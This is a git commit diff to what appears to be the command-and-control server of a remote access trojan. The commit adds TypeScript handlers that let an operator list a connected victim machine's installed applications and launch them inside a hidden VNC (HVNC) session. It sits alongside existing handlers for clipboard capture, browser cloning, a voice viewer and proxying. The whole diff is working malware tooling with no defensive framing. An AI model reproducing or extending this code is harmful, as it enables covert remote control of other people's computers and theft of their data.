allow all apps to be opened in HVNC and show their icons as well. (exe only for best support)

This commit is contained in:
KingKDot
2026-05-10 00:03:49 -05:00
parent 3a9cad6f8c
commit 9b2f10ee34
10 changed files with 700 additions and 0 deletions
+2
View File
@@ -92,6 +92,7 @@ import {
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleClipboardContent,
handleRemoteDesktopViewerMessage,
@@ -670,6 +671,7 @@ async function startServer() {
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleClipboardContent,
cleanupVoiceViewer,
@@ -154,6 +154,7 @@ type WsLifecycleDeps = {
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
@@ -713,6 +714,9 @@ export async function handleWebSocketMessage(
case "hvnc_browser_check_result":
deps.handleHVNCBrowserCheckResult(client.id, payload);
break;
case "hvnc_installed_apps_result":
deps.handleHVNCInstalledAppsResult(client.id, payload);
break;
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
break;
@@ -632,6 +632,26 @@ export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
}
}
export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
const apps: Array<{ name: string; exePath: string; icon: string }> = [];
if (Array.isArray(payload.apps)) {
for (const app of payload.apps) {
apps.push({
name: String(app.name || ""),
exePath: String(app.exePath || ""),
icon: String(app.icon || ""),
});
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_installed_apps_result",
apps,
done: !!payload.done,
});
}
}
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
@@ -880,6 +900,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_browser_check":
sendHVNCCommand(target, "hvnc_browser_check", {});
break;
case "hvnc_installed_apps":
sendHVNCCommand(target, "hvnc_installed_apps", {});
break;
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", {
path: String(payload.path || ""),
+1
View File
@@ -31,6 +31,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
"hvnc_clone_progress",
"hvnc_lookup_result",
"hvnc_browser_check_result",
"hvnc_installed_apps_result",
"hvnc_dxgi_status",
"clipboard_content",
"proxy_data",